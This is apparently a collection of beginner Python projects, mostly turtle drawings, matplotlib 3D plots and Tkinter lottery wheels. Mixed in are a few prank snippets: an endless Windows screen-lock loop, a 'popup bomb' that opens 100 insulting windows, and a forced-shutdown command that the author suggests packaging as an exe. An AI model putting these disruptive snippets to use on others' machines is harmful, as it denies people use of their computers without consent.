python 新手项目

import turtle as t
t.goto(100,0)
for i in range(120):
    t.left(80)
    t.fd(100)
    t.left(135)
    t.fd(105)
turtle.down()

 

 

---------------------------------------------------------------

import turtle as t
t.goto(100,0)
for i in range(100):
    t.left(80)
    t.fd(100)
    t.left(135)
    t.fd(165)
    t.left(125)
    t.fd(115)

 ------------------------------------------------------------------

三维画图

from mpl_toolkits.mplot3d import axes3d
import matplotlib.pyplot as plt
from matplotlib import cm
 
fig = plt.figure()
ax = fig.gca(projection='3d')
X, Y, Z = axes3d.get_test_data(0.05)
cset = ax.contour(X, Y, Z, zdir='z', offset=-100, cmap=cm.coolwarm)
cset = ax.contour(X, Y, Z, zdir='x', offset=-40, cmap=cm.coolwarm)
cset = ax.contour(X, Y, Z, zdir='y', offset=40, cmap=cm.coolwarm)
 
ax.set_xlabel('X')
ax.set_xlim(-40, 40)
ax.set_ylabel('Y')
ax.set_ylim(-40, 40)
ax.set_zlabel('Z')
ax.set_zlim(-100, 100)
 
plt.show()

-------------------------------------------------------

import matplotlib as mpl
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import matplotlib.pyplot as plt
 
mpl.rcParams['legend.fontsize'] = 10
 
fig = plt.figure()
ax = fig.gca(projection='3d')
theta = np.linspace(-4 * np.pi, 4 * np.pi, 100)
z = np.linspace(-2, 2, 100)
r = z**2 + 1
x = r * np.sin(theta)
y = r * np.cos(theta)
ax.plot(x, y, z, label='parametric curve')
ax.legend()
 
plt.show()
 

 

 

 ---------------------------------------------------------------------

from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
import numpy as np
 
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
 
# Make data
u = np.linspace(0, 2 * np.pi, 100)
v = np.linspace(0, np.pi, 100)
x = 10 * np.outer(np.cos(u), np.sin(v))
y = 10 * np.outer(np.sin(u), np.sin(v))
z = 10 * np.outer(np.ones(np.size(u)), np.cos(v))
 
# Plot the surface
ax.plot_surface(x, y, z, color='b')
 
plt.show()
 

 

 ------------------------------------------------------------------

import turtle as p
#定义画圆函数
def drawCircle(x,y,c='red'):
    p.pu()#抬起画笔
    p.goto(x,y)#绘制图的起始位置
    p.pd()#放下画笔
    p.color(c)#绘制c色圆环
    p.circle(30,360)#绘制图:半径,角度


#画笔基本设置

p.pensize(3) #画笔尺寸设置3

#绘制五环图
drawCircle(0,0,'blue')
drawCircle(60,0,'black')
drawCircle(120,0,'red')
drawCircle(90,-30,'green')
drawCircle(30,-30,'yellow')
p.done()
 

 

 -----------------------------------------------------------------------

 

import turtle as p
import random

#绘制雪花
def snow(snow_count):
    p.hideturtle()
    p.speed(500)
    p.pensize(2)
    for i in range(snow_count):
        r = random.random()
        g = random.random()
        b = random.random()
        p.pencolor(r, g, b)
        p.pu()
        p.goto(random.randint(-350, 350), random.randint(1, 270))
        p.pd()
        dens = random.randint(8, 12)
        snowsize = random.randint(10, 14)
        for _ in range(dens):
            p.forward(snowsize)  # 向当前画笔方向移动snowsize像素长度
            p.backward(snowsize)  # 向当前画笔相反方向移动snowsize像素长度
            p.right(360 / dens)  # 顺时针移动360 / dens度
            
#绘制地面
def ground(ground_line_count):
    p.hideturtle()
    p.speed(500)
    for i in range(ground_line_count):
        p.pensize(random.randint(5,10))
        x = random.randint(-400, 350)
        y = random.randint(-280, -1)
        r = -y / 280
        g = -y / 280
        b = -y / 280
        p.pencolor(r, g, b)
        p.penup()  # 抬起画笔
        p.goto(x, y)  # 让画笔移动到此位置
        p.pendown()  # 放下画笔
        p.forward(random.randint(40, 100))  # 眼当前画笔方向向前移动40~100距离


#主函数
def main():
    p.setup(800,600,0,0)
    p.bgcolor('black')
    snow(30)
    ground(30)
    p.mainloop()
main()

 

 

 ---------------------------------------------------------------------------

from ctypes import *

while True:
        user32 = windll.LoadLibrary('user32.dll')

        user32.LockWorkStation()
 

 无限锁屏 (尽量别尝试)

---------------------------------------------------------------------------------

# coding=utf-8
import sys
if sys.version_info[0] == 2:
    import Tkinter
    from Tkinter import *
else:
    import tkinter as Tkinter
    from tkinter import *
import random
 
is_run = False
 
 
def lottery_whirl(data, i, number):
    global is_run
    if i == 0:
        j = 0
    else:
        j = i % 8
    data[j-1]['bg'] = '#CCCCCC'
    data[j]['bg'] = '#00CD00'
    wait = [a for a in range(100, 300, 10)] + [b for b in range(300, 600, 300 // (number-28))] + \
           [c for c in range(600, 1200, 120)] + [d for d in range(1200, 1800, 200)]
    if i < number:
        window.after(wait[i], lottery_whirl, data, i + 1, number)
    else:
        is_run = False
 
 
def lottery_start(data):
    global is_run
    if is_run:
        return
    is_run = True
    for x in range(len(data) - 1):
        data[x]['bg'] = '#CCCCCC'
    number = random.randint(30, 53)
    lottery_whirl(data, 0, number)
 
 
def create_label(name, x, y):
    label = Label(window, text=name, width=13, height=3, bg='#CCCCCC', font='宋体 -18 bold')
    label.place(anchor=NW, x=x, y=y)
    return label
 
 
if __name__ == '__main__':
    window = Tkinter.Tk()
    window.geometry('500x290+250+150')
    window.title('         转 盘 抽 奖 器')
 
    bg_label = Label(window, width=80, height=24, bg='#ECf5FF')
    bg_label.place(anchor=NW, x=0, y=0)
 
    label1 = create_label('1', 20, 20)
    label2 = create_label('2', 180, 20)
    label3 = create_label('3', 340, 20)
    label4 = create_label('4', 20, 110)
    label5 = create_label('5', 340, 110)
    label6 = create_label('6', 20, 200)
    label7 = create_label('7', 180, 200)
    label8 = create_label('8', 340, 200)
    data = [label1, label2, label3, label5, label8, label7, label6, label4]
 
    button_core = Button(window, text='开  始', command=lambda: lottery_start(data), width=130, height=53, bg='#00CD00',
                         font='宋体 -18 bold', bitmap='gray50', compound=Tkinter.CENTER)
    button_core.place(anchor=NW, x=180, y=110)
 
    window.mainloop()
 

 

 

 

-------------------------------------------------------------------------

另外还有一个抽奖程序

import tkinter
import time
import threading
 
class Choujiang:
    #初始化魔术方法
    def __init__(self):
        #准备好界面
        self.root = tkinter.Tk()
        self.root.title('转盘')
        self.root.minsize(300, 300)
        # 声明一个是否按下开始的变量
        self.isloop = False
        self.newloop = False
        #调用设置界面的方法
        self.setwindow()
        self.root.mainloop()
 
    #界面布局方法
    def setwindow(self):
        #开始停止按钮
        self.btn_start = tkinter.Button(self.root, text = '开始/停止',command = self.newtask,bg='gold')
        self.btn_start.place(x=100, y=125, width=70, height=50)
 
        self.btn1 = tkinter.Button(self.root, text='小排面', bg='red')
        self.btn1.place(x=20, y=20, width=50, height=50)
 
        self.btn2 = tkinter.Button(self.root, text='黄焖鸡', bg='white')
        self.btn2.place(x=90, y=20, width=50, height=50)
 
        self.btn3 = tkinter.Button(self.root, text='鸭血粉丝', bg='white')
        self.btn3.place(x=160, y=20, width=50, height=50)
 
        self.btn4 = tkinter.Button(self.root, text='煎饼', bg='white')
        self.btn4.place(x=230, y=20, width=50, height=50)
 
        self.btn5 = tkinter.Button(self.root, text='木桶饭', bg='white')
        self.btn5.place(x=230, y=90, width=50, height=50)
 
        self.btn6 = tkinter.Button(self.root, text='烤鸭', bg='white')
        self.btn6.place(x=230, y=160, width=50, height=50)
 
        self.btn7 = tkinter.Button(self.root, text='烤冷面', bg='white')
        self.btn7.place(x=230, y=230, width=50, height=50)
 
        self.btn8 = tkinter.Button(self.root, text='牛肉面', bg='white')
        self.btn8.place(x=160, y=230, width=50, height=50)
 
        self.btn9 = tkinter.Button(self.root, text='生煎包', bg='white')
        self.btn9.place(x=90, y=230, width=50, height=50)
 
        self.btn10 = tkinter.Button(self.root, text='蛋炒饭', bg='white')
        self.btn10.place(x=20, y=230, width=50, height=50)
 
        self.btn11 = tkinter.Button(self.root, text='鱼', bg='white')
        self.btn11.place(x=20, y=160, width=50, height=50)
 
        self.btn12 = tkinter.Button(self.root, text='肯德基', bg='white')
        self.btn12.place(x=20, y=90, width=50, height=50)
 
        # 将所有选项组成列表
        self.girlfrends = [self.btn1,self.btn2,self.btn3,self.btn4,self.btn5,self.btn6,self.btn7,self.btn8,self.btn9,self.btn10,self.btn11,self.btn12]
 
    def rounds(self):
        # 判断是否开始循环
        if self.isloop == True:
            return
 
        # 初始化计数  变量
        i = 0
        # 死循环
        while True:
            if self.newloop == True:
                self.newloop = False
                return
 
            # 延时操作
            time.sleep(0.1)
            # 将所有的组件背景变为白色
            for x in self.girlfrends:
                x['bg'] = 'white'
 
            # 将当前数值对应的组件变色
            self.girlfrends[i]['bg'] = 'red'
            # 变量+1
            i += 1
            # 如果i大于最大索引直接归零
            if i >= len(self.girlfrends):
                i = 0
 
    # 建立一个新线程的函数
    def newtask(self):
        if self.isloop == False:
            # 建立线程
            t = threading.Thread(target = self.rounds)
            # 开启线程运行
            t.start()
            # 设置循环开始标志
            self.isloop = True
        elif self.isloop == True:
            self.isloop = False
            self.newloop = True
 
 
 
c = Choujiang()
 

 

 

-----------------------------------------------------------------

import tkinter as tk
import random
import threading
import time


def dow():
    window = tk.Tk()
    window.title('你是憨憨')
    window.geometry("200x50" + "+" + str(random.randrange(0, window.winfo_screenwidth())) + "+" + str(random.randrange(0, window.winfo_screenheight())))
    tk.Label(window,
             text='你是个铁憨憨!',  # 标签的文字
             bg='Red',  # 背景颜色
             font=('楷体', 17),  # 字体和字体大小
             width=20, height=2  # 标签长宽
             ).pack()  # 固定窗口位置
    window.mainloop()


threads = []

for i in range(100):  # 需要的弹框数量
    t = threading.Thread(target=dow)
    threads.append(t)
    time.sleep(0.1)
    threads[i].start()
 

弹窗炸弹

-----------------------------------------------------------------

import turtle as t
t.color('blue')
for i in range(270):
    t.fd(i)
    t.left(70)
t.done()

 

 ---------------------------------------------------------------------------

import os

os.system('shutdown -s -t 100')
关机代码 (建议做成exe)

---------------------------------------------------

for i in range(1,10):
    for j in range(1,i+1):
        print('{0}*{1}={2}'.format(i,j,i*j),end='\t')

    print()

 

 

-------------------------------------------------------------

import turtle as t
t.pensize(4)
t.hideturtle()
t.colormode(255)
t.color((0,0,0), "black")
t.setup(600, 600)
t.speed(3)
t.setx(-130)
t.goto(-110,110)
t.goto(-90,110)
t.goto(-100,30)
t.goto(-90,125)
t.goto(-70,125)
t.goto(-70,43)
t.goto(-70,200)
t.goto(-50,200)
t.goto(-50,43)
t.goto(-50,125)
t.goto(-30,125)
t.goto(-10,30)
t.goto(-30,110)
t.goto(10,110)
t.goto(30,0)
t.goto(120,-180)
t.goto(90,-180)
t.goto(-50,0)
t.end_fill()
t.exitonclick()
 

这是一个鄙视手势

----------------------------------------------------------------

 import random
import turtle
t = turtle.Pen()
t.speed(0)
turtle.bgcolor("black")
colors = ["red", "green", "yellow", "gray", "blue", "orange", "purple", "white"]
def random_spiral():
    t.pencolor(random.choice(colors))
    size = random.randint(10, 40)
    x = random.randrange(-turtle.window_width()//2,turtle.window_width()//2)
    y = random.randrange(-turtle.window_height()//2,turtle.window_height()//2)
    t.penup()
    t.setpos(x,y)
    t.pendown()
    for m in range(size):
        t.forward(m*2)
        t.left(91)
for n in range(50):
    random_spiral()

 

---------------------------------------------------------------------------------

import turtle as te
import time
WriteStep = 15  # 贝塞尔函数的取样次数
Speed = 5
Width = 600  # 界面宽度
Height = 500  # 界面高度
Xh = 0  # 记录前一个贝塞尔函数的手柄
Yh = 0


def Bezier(p1, p2, t):  # 一阶贝塞尔函数
    return p1 * (1 - t) + p2 * t


def Bezier_2(x1, y1, x2, y2, x3, y3):  # 二阶贝塞尔函数
    te.goto(x1, y1)
    te.pendown()
    for t in range(0, WriteStep + 1):
        x = Bezier(Bezier(x1, x2, t / WriteStep),
                   Bezier(x2, x3, t / WriteStep), t / WriteStep)
        y = Bezier(Bezier(y1, y2, t / WriteStep),
                   Bezier(y2, y3, t / WriteStep), t / WriteStep)
        te.goto(x, y)
    te.penup()


def Bezier_3(x1, y1, x2, y2, x3, y3, x4, y4):  # 三阶贝塞尔函数
    x1 = -Width / 2 + x1
    y1 = Height / 2 - y1
    x2 = -Width / 2 + x2
    y2 = Height / 2 - y2
    x3 = -Width / 2 + x3
    y3 = Height / 2 - y3
    x4 = -Width / 2 + x4
    y4 = Height / 2 - y4  # 坐标变换
    te.goto(x1, y1)
    te.pendown()
    for t in range(0, WriteStep + 1):
        x = Bezier(Bezier(Bezier(x1, x2, t / WriteStep), Bezier(x2, x3, t / WriteStep), t / WriteStep),
                   Bezier(Bezier(x2, x3, t / WriteStep), Bezier(x3, x4, t / WriteStep), t / WriteStep), t / WriteStep)
        y = Bezier(Bezier(Bezier(y1, y2, t / WriteStep), Bezier(y2, y3, t / WriteStep), t / WriteStep),
                   Bezier(Bezier(y2, y3, t / WriteStep), Bezier(y3, y4, t / WriteStep), t / WriteStep), t / WriteStep)
        te.goto(x, y)
    te.penup()


def Moveto(x, y):  # 移动到svg坐标下(x,y)
    te.penup()
    te.goto(-Width / 2 + x, Height / 2 - y)


def line(x1, y1, x2, y2):  # 连接svg坐标下两点
    te.penup()
    te.goto(-Width / 2 + x1, Height / 2 - y1)
    te.pendown()
    te.goto(-Width / 2 + x2, Height / 2 - y2)
    te.penup()


def lineto(dx, dy):  # 连接当前点和相对坐标(dx,dy)的点
    te.pendown()
    te.goto(te.xcor() + dx, te.ycor() - dy)
    te.penup()


def Lineto(x, y):  # 连接当前点和svg坐标下(x,y)
    te.pendown()
    te.goto(-Width / 2 + x, Height / 2 - y)
    te.penup()


def Horizontal(x):  # 做到svg坐标下横坐标为x的水平线
    te.pendown()
    te.setx(x - Width / 2)
    te.penup()


def horizontal(dx):  # 做到相对横坐标为dx的水平线
    te.seth(0)
    te.pendown()
    te.fd(dx)
    te.penup()


def vertical(dy):  # 做到相对纵坐标为dy的垂直线
    te.seth(-90)
    te.pendown()
    te.fd(dy)
    te.penup()
    te.seth(0)


def polyline(x1, y1, x2, y2, x3, y3):  # 做svg坐标下的折线
    te.penup()
    te.goto(-Width / 2 + x1, Height / 2 - y1)
    te.pendown()
    te.goto(-Width / 2 + x2, Height / 2 - y2)
    te.goto(-Width / 2 + x3, Height / 2 - y3)
    te.penup()


def Curveto(x1, y1, x2, y2, x, y):  # 三阶贝塞尔曲线到(x,y)
    te.penup()
    X_now = te.xcor() + Width / 2
    Y_now = Height / 2 - te.ycor()
    Bezier_3(X_now, Y_now, x1, y1, x2, y2, x, y)
    global Xh
    global Yh
    Xh = x - x2
    Yh = y - y2


def curveto_r(x1, y1, x2, y2, x, y):  # 三阶贝塞尔曲线到相对坐标(x,y)
    te.penup()
    X_now = te.xcor() + Width / 2
    Y_now = Height / 2 - te.ycor()
    Bezier_3(X_now, Y_now, X_now + x1, Y_now + y1,
             X_now + x2, Y_now + y2, X_now + x, Y_now + y)
    global Xh
    global Yh
    Xh = x - x2
    Yh = y - y2


def Smooth(x2, y2, x, y):  # 平滑三阶贝塞尔曲线到(x,y)
    global Xh
    global Yh
    te.penup()
    X_now = te.xcor() + Width / 2
    Y_now = Height / 2 - te.ycor()
    Bezier_3(X_now, Y_now, X_now + Xh, Y_now + Yh, x2, y2, x, y)
    Xh = x - x2
    Yh = y - y2


def smooth_r(x2, y2, x, y):  # 平滑三阶贝塞尔曲线到相对坐标(x,y)
    global Xh
    global Yh
    te.penup()
    X_now = te.xcor() + Width / 2
    Y_now = Height / 2 - te.ycor()
    Bezier_3(X_now, Y_now, X_now + Xh, Y_now + Yh,
             X_now + x2, Y_now + y2, X_now + x, Y_now + y)
    Xh = x - x2
    Yh = y - y2

te.tracer(10)
te.setup(Width, Height, 0, 0)
te.pensize(1)
te.speed(Speed)
te.penup()

# 图层_2
time.sleep(20)
te.color("black", "#F2F2F2")  # 外套
Moveto(61, 462)
te.begin_fill()
smooth_r(12, -41, 27, -58)
curveto_r(-6, -36, 6, -118, 9, -132)
curveto_r(-15, -27, -23, -51, -26, -74)
curveto_r(4, -66, 38, -105, 65, -149)
Horizontal(486)
curveto_r(12, 24, 40, 99, 33, 114)
curveto_r(39, 82, 55, 129, 39, 144)
smooth_r(-31, 23, -39, 28)
smooth_r(-12, 37, -12, 37)
lineto(50, 92)
Horizontal(445)
smooth_r(-29, -38, -31, -46)
smooth_r(78, -107, 72, -119)
Smooth(355, 178, 340, 176)
Smooth(272, 63, 264, 64)
smooth_r(-29, 67, -27, 73)
Curveto(99, 292, 174, 428, 173, 439)
smooth_r(-8, 23, -8, 23)
Lineto(61, 462)
te.end_fill()

Moveto(60.5, 461.5)  # 阴影
te.color("black", "#D3DFF0")
te.begin_fill()
curveto_r(0, 0, 17, -42, 27, -59)
curveto_r(-6, -33, 6, -128, 10, -133)
curveto_r(-15, -10, -27, -66, -27.285, -75)
te.pencolor("#D3DFF0")
curveto_r(12.285, 11, 82.963, 156, 82.963, 156)
te.pencolor("black")
smooth_r(12.322, 75, 19.322, 86)
curveto_r(-1, 11, -8, 25, -8, 25)
Horizontal(60.5)
te.end_fill()

Moveto(444.5, 464)
te.begin_fill()
curveto_r(0, 0, -29, -36, -31, -46)
smooth_r(53.59, -82.337, 53.59, -82.337)
te.pencolor("#D3DFF0")
smooth_r(86.41, -47.663, 96.072, -54.85)
Curveto(563.5, 297.5, 570.5, 299.5, 518.5, 334)
te.pencolor("black")
curveto_r(-2, 16, -12, 33, -12, 37)
smooth_r(50, 92, 50, 93)
Horizontal(444.5)
te.end_fill()

Moveto(195, 49)
te.begin_fill()
te.pencolor("#D3DFF0")
polyline(195, 49, 175.5, 106.5, 202.522, 49)
te.pencolor("black")
Horizontal(195)
te.pencolor("#D3DFF0")
te.end_fill()

Moveto(327.997, 49)
te.begin_fill()
te.pencolor("#D3DFF0")
curveto_r(0, 0, 11.503, 121.087, 13.503, 128.087)
curveto_r(11, 2, 54, 37, 54, 37)
lineto(-40, -165.087)
te.pencolor("black")
Horizontal(327.997)
te.pencolor("#D3DFF0")
te.end_fill()

te.pencolor("black")
line(94.5, 397.5, 107.5, 373.5)  # 皱纹
line(122.5, 317.5, 95.875, 274.699)
line(122.5, 341.5, 141.5, 402.5)
line(141.5, 409.5, 153.5, 431.5)
# line(328,47.712,344,175.977)
line(340.023, 49, 360.5, 144)
# line(353.5,47.5,395.5,208.5)
line(478.5, 95.5, 518.5, 161.5)
line(518.5, 332.5, 460.5, 359.5)
polyline(506.5, 369.5, 493.5, 402.5, 502.5, 443.5)
Moveto(530, 429)
curveto_r(4, 16, -5, 33, -5, 33)

# 图层_3
te.color("black", "#2b1d2a")  # 外套内侧
Moveto(225, 462)
te.begin_fill()
Horizontal(165)
smooth_r(9, -15, 8, -25)
curveto_r(-47, -126, 6, -212, 12, -225)
Curveto(185, 305, 202, 428, 225, 462)
Lineto(225, 462)
te.end_fill()

Moveto(390, 462)
te.begin_fill()
curveto_r(10, -23, 34, -180, 35, -222)  # !!!227
curveto_r(7, 4, 54, 45, 61, 61)  # 61
smooth_r(-73, 101, -72, 118)
curveto_r(5, 15, 31, 46, 31, 45)
Lineto(390, 462)
te.end_fill()
# 图层_4
te.color("black", "#2b1d29")  # 外套内侧
Moveto(225, 462)
te.begin_fill()
curveto_r(-28, -50, -40, -166, -40, -250)
curveto_r(6, 51, -6, 87, 45, 106)
smooth_r(64, 27, 89, 24)
smooth_r(49, -18, 56, -20)
smooth_r(50, -10, 51, -85)
curveto_r(0, 29, -25, 201, -36, 225)
Lineto(225, 462)
te.end_fill()
# 图层_5
te.color("black", "#3D3D3D")  # 衣服
Moveto(225, 462)
te.begin_fill()
curveto_r(-5, -5, -22, -53, -23, -70)
lineto(32, -13)
curveto_r(3, -25, 6, -28, 12, -36)
smooth_r(13, -12, 16, -12)
vertical(-2)
curveto_r(45, 20, 64, 14, 94, 1)
vertical(2)
curveto_r(8, -2, 15, 2, 17, 4)
smooth_r(0, 6, -2, 9)
curveto_r(10, 10, 10, 29, 11, 33)
smooth_r(23, 4, 25, 6)
smooth_r(-17, 83, -17, 78)
Lineto(225, 462)
te.end_fill()
# 图层_6
te.color("black", "#968281")  # 脖子
Moveto(262, 329)
te.begin_fill()
vertical(17)
curveto_r(1, 2, 44, 14, 45, 15)
smooth_r(3, 12, 3, 12)
horizontal(3)
vertical(-5)
curveto_r(1, -3, 4, -6, 5, -7)
lineto(36, -14)
curveto_r(1, -1, 3, -16, 2, -17)
Curveto(318, 348, 296, 344, 262, 329)
te.end_fill()
# 图层_8
te.color("black", "#E7F1FF")  # 白色褶皱
Moveto(225, 462)
te.begin_fill()
lineto(-3, -5)  # -3,-3,-3,-5
curveto_r(0, -2, 4, -4, 5, -6)
smooth_r(16, 3, 19, -8)
smooth_r(0, -7, 0, -11)
smooth_r(5, -8, 9, -5)
smooth_r(19, -8, 19, -11)
smooth_r(6, -7, 6, -7)
smooth_r(7, -2, 9, -4)
lineto(41, -2)
lineto(12, 9)
smooth_r(3, 15, 7, 18)
smooth_r(15, 4, 17, 4)
smooth_r(4, -4, 6, -4)
smooth_r(6, 4, 5, 9)
smooth_r(0, 9, 0, 9)
smooth_r(1, 7, 7, 6)
smooth_r(8, 0, 8, 0)
lineto(-2, 8)
Lineto(225, 462)
te.end_fill()

te.pensize(2)
Moveto(240, 450)
smooth_r(0, 9, 3, 12)
Moveto(372, 462)
curveto_r(-2, -4, -5, -29, -7, -28)
te.pensize(1)
# 图层_7
te.color("black", "#A2B8D6")  # 衣领
Moveto(262, 331)
te.begin_fill()
curveto_r(0, 8, -1, 13, 0, 15)
smooth_r(43, 14, 45, 15)
lineto(3, 12)
horizontal(3)
smooth_r(-1, -3, 0, -5)
lineto(5, -7)
lineto(36, -14)
curveto_r(1, -1, 2, -12, 2, -15)
smooth_r(25, -2, 15, 13)
curveto_r(-2, 4, -7, 29, -7, 32)
smooth_r(-35, 19, -41, 22)
smooth_r(-9, 14, -12, 14)
smooth_r(-7, -12, -14, -15)
curveto_r(-19, -2, -41, -25, -41, -25)
smooth_r(-10, -26, -10, -30)
Smooth(255, 332, 262, 331)
te.end_fill()

Moveto(262, 346)
lineto(-12, -6)
Moveto(369, 333)
curveto_r(2, 4, -6, 10, -15, 14)
# 图层_9
te.color("black", "#151515")  # 领结
Moveto(247, 358)
te.begin_fill()
curveto_r(-5, 3, -8, 20, -6, 23)
curveto_r(25, 21, 50, 17, 50, 17)
lineto(-23, 64)
horizontal(22)
smooth_r(1, -13, 2, -16)
lineto(13, -50)
curveto_r(2, 2, 7, 3, 10, 1)
smooth_r(18, 65, 18, 65)
horizontal(19)
lineto(-24, -65)
curveto_r(21, 5, 39, -10, 44, -13)
curveto_r(5, -20, 1, -21, 0, -24)
curveto_r(-18, -2, -49, 15, -52, 17)
smooth_r(-11, -3, -15, -1)
Smooth(252, 356, 247, 358)
te.end_fill()
# 图层_10
te.color("black", "#A2B8D6")  # 衣领(透过领结)
Moveto(297, 387)
te.begin_fill()
lineto(-11, 6)
curveto_r(-1, 0, -20, -7, -30, -19)
Curveto(259, 373, 297, 385, 297, 387)
te.end_fill()

Moveto(323, 384)
te.begin_fill()
lineto(8, 7)
lineto(30, -14)
curveto_r(1, -1, 5, -6, 4, -7)
Smooth(329, 379, 323, 384)
te.end_fill()
# 图层_11
te.color("black", "#F3EEEB")  # 脸
Moveto(185, 212)
te.begin_fill()
curveto_r(4, -9, 46, -77, 52, -75)
curveto_r(-2, -17, 19, -68, 27, -73)
curveto_r(16, 15, 71, 108, 76, 112)
smooth_r(76, 53, 86, 60)
curveto_r(0, 65, -27, 75, -31, 76)
curveto_r(-50, 28, -70, 30, -85, 30)
smooth_r(-77, -22, -86, -26)
Curveto(180, 302, 186, 228, 185, 212)
te.end_fill()
# 图层_12
te.color("black", "#2B1D29")  # 头发
Moveto(189, 202)
te.begin_fill()
curveto_r(-1, 22, 19, 51, 19, 51)
smooth_r(-10, -42, 7, -92)
Curveto(212, 168, 196, 189, 189, 202)
te.end_fill()

Moveto(221, 155)
te.begin_fill()
curveto_r(-2, 6, 5, 48, 5, 48)
smooth_r(18, -28, 20, -48)
curveto_r(-5, 24, 4, 43, 7, 50)
curveto_r(-10, -49, 3, -72, 13, -106)
curveto_r(-2, -7, -3, -32, -3, -35)
curveto_r(-17, 18, -27, 71, -27, 71)
Lineto(221, 155)
te.end_fill()

Moveto(264, 64)
te.begin_fill()
curveto_r(-4, 5, 14, 100, 14, 100)
smooth_r(-6, -79, -5, -85)
curveto_r(0, 98, 49, 139, 49, 139)
smooth_r(8, -50, 3, -65)
Smooth(272, 64, 264, 64)
te.end_fill()

Moveto(342, 176)
te.begin_fill()
curveto_r(-1, 27, -10, 57, -10, 57)
smooth_r(20, -33, 17, -54)
Lineto(342, 176)
te.end_fill()

te.penup()
te.begin_fill()
polyline(349, 180, 353, 203, 361, 203)
polyline(361, 203, 362, 188, 349, 180)
te.end_fill()
# 图层_13
te.pensize(2)
Moveto(210, 180)  # 眉毛
curveto_r(5, -4, 63, 9, 63, 14)
Moveto(338, 193)
curveto_r(0, -3, 18, -6, 18, -6)
te.pensize(1)
# 图层_14
te.color("black", "#D1D1D1")  # 眼睛1
te.pensize(2)
Moveto(206, 212)
te.begin_fill()
lineto(15, -7)
curveto_r(4, -1, 26, -2, 30, 0)
smooth_r(10, 3, 12, 7)
te.pencolor("#D1D1D1")
te.pensize(1)
smooth_r(2, 27, -1, 30)
smooth_r(-39, 5, -44, 1)
Smooth(206, 212, 206, 212)
te.end_fill()

Moveto(384, 204)
te.begin_fill()
te.pencolor("black")
te.pensize(2)
curveto_r(-3, -1, -18, -1, -28, 1)
smooth_r(-9, 6, -10, 9)
te.pencolor("#D1D1D1")
te.pensize(1)
smooth_r(3, 18, 6, 23)
smooth_r(38, 6, 40, 4)
smooth_r(10, -9, 13, -22)
te.pencolor("black")
te.pensize(2)
Lineto(384, 204)
te.end_fill()
# 图层_15
te.color("#0C1631", "#0C1631")  # 眼睛2
te.pensize(1)
Moveto(216, 206)
te.begin_fill()
curveto_r(-1, 5, 0, 26, 7, 35)
smooth_r(30, 2, 33, 0)
smooth_r(5, -31, 2, -34)
Smooth(219, 203, 216, 206)
te.end_fill()

Moveto(354, 207)
te.begin_fill()
curveto_r(-2, 1, 2, 29, 4, 31)
smooth_r(30, 3, 33, 1)
smooth_r(6, -24, 4, -27)
lineto(-11, -8)
Curveto(382, 204, 357, 206, 354, 207)
te.end_fill()

# 图层_17
te.color("#F5F5F5", "#F5F5F5")  # 眼睛3
Moveto(253, 211)
te.begin_fill()
curveto_r(-3, 0, -8, 8, 1, 10)
Smooth(258, 210, 253, 211)
te.end_fill()

Moveto(392, 209)
te.begin_fill()
lineto(4, 3)
vertical(4)
lineto(-4, 2)
Curveto(386, 214, 392, 209, 392, 209)
te.end_fill()
# 图层_18
te.color("#352F53", "#352F53")  # 眼睛4
Moveto(219, 229)
te.begin_fill()
smooth_r(2, -5, 6, -4)
smooth_r(18, 13, 27, 1)
curveto_r(3, 0, 5, 3, 5, 3)
vertical(13)
Horizontal(224)
Lineto(219, 229)
te.end_fill()

Moveto(357, 227)
te.begin_fill()
smooth_r(4, -6, 10, -2)
smooth_r(10, 13, 19, 1)
curveto_r(6, 0, 8, 6, 8, 6)
lineto(-2, 9)
curveto_r(-12, 3, -29, 0, -32, -2)
Smooth(357, 227, 357, 227)
te.end_fill()

# 图层_19
te.color("#9A90CB", "#9A90CB")  # 眼睛5
Moveto(227, 231)
te.begin_fill()
curveto_r(-6, 0, -5, 5, -3, 8)
smooth_r(24, 2, 27, 0)
smooth_r(0, -8, -1, -8)
Smooth(234, 231, 227, 231)
te.end_fill()

Moveto(361, 227)
te.begin_fill()
curveto_r(2, 18, 26, 14, 30, 6)
smooth_r(-1, -3, -2, -4)
smooth_r(-15, 9, -24, -4)
Curveto(363, 224, 361, 225, 361, 227)
te.end_fill()

# 图层_16
te.pencolor("black")  # 眼睛(线条)
te.pensize(3)
# Moveto(206,213)
# lineto(14,-8)
# curveto_r(3,-1,30,0,33,1)
# lineto(10,6)
Moveto(225, 215)
curveto_r(10, 28, 22, 16, 24, 6)
Moveto(365, 219)
curveto_r(4, 14, 18, 24, 22, -3)
te.pensize(2)
line(240.5, 207.5, 227.5, 211.5)
line(245.5, 209.5, 227.5, 214.5)
line(247.5, 211.5, 227.5, 217.5)
line(247.5, 214.5, 229.5, 220.5)
line(247.5, 218.5, 230.5, 223.5)
line(246.5, 222.5, 232.5, 226.5)
line(244.5, 225.5, 234.5, 228.5)

line(377.5, 207.5, 367.5, 210.5)
line(384.5, 207.5, 366.5, 212.5)
line(385.5, 210.5, 366.5, 215.5)
line(384.5, 213.5, 366.5, 218.5)
line(384.5, 215.5, 367.5, 220.5)
line(384.5, 218.5, 368.5, 223.5)
# line(383.5,220.5,368.5,225.5)
line(382.5, 223.5, 370.5, 227.5)
# line(381.5,226.5,373.5,229.5)
# 图层_20
te.pencolor("black")
Moveto(309, 270)  # 鼻子、嘴
curveto_r(0, 0, 4, 7, 1, 9)
line(296.5, 307.5, 303.5, 307.5)
Moveto(315, 307)
smooth_r(10, -1, 10, 2)

te.penup()
te.hideturtle()
te.update()
te.done()

 

------------------------------------------------------

import turtle
t = turtle.Pen()
t.speed(0)
turtle.onscreenclick(t.setpos)
 

 

 

 鼠标指向

-------------------------------------------------------------------------------------------------


import turtle
t = turtle.Pen()
t.speed(0)
turtle.onscreenclick(t.setpos)
turtle.bgcolor("blue")
t.pencolor("green")
t.width(99)
 

鼠标指向

------------------------------------------------------------------------------------------


import turtle
import time

#1-2画心形圆弧
def hart_arc():
    for i in range(200):
        turtle.right(1)
        turtle.forward(2)


def move_pen_position(x, y):
    turtle.hideturtle()  # 隐藏画笔(先)
    turtle.up()  # 提笔
    turtle.goto(x, y)  # 移动画笔到指定起始坐标(窗口中心为0,0)
    turtle.down()  # 下笔
    turtle.showturtle()  # 显示画笔


love = input("请输入表白话语:")
signature = input("请签署你的名字:")
date=input("请写上日期:")

if love == '':
    love = 'I Love You'

#1-3初始化
turtle.setup(width=800, height=500)  # 窗口(画布)大小
